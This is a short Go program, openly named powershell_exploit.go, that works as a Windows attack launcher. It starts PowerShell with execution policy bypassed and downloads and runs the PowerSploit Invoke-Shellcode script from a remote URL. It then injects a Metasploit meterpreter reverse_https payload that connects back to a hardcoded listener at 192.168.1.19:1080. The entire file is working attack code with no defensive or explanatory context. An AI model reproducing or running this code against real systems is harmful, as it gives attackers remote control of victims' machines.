powershell_exploit.go

// Powershell exploit reverse https metasploit
// It will connect with a meterpreter session running on LHOST:LPORT granting superpowers ;)

package main

import (
	"fmt"
	"os/exec"
)

const (
	LHOST = "192.168.1.19"
	LPORT = 1080
)

var (
	url = "https://raw.githubusercontent.com/enigma0x3/PowerSploit/446d621c8c2e9fa9e92168aa46c3de8266ffac30/CodeExecution/Invoke--Shellcode.ps1"
	cmd = fmt.Sprintf(`IEX (New-Object Net.WebClient).DownloadString('%s')`, url)

	exploit = fmt.Sprintf("Invoke-Shellcode -Payload windows/meterpreter/reverse_https -lhost %s -lport %d -Force -Verbose", LHOST, LPORT)
)

func main() {
	binary, err := exec.LookPath("powershell")
	if err != nil {
		panic(err)
	}
	cmd := exec.Command(binary, fmt.Sprintf(`PowerShell -ExecutionPolicy Bypass -NoLogo -NoExit -Command "%s;%s"`, cmd, exploit))
	cmd.Start()
}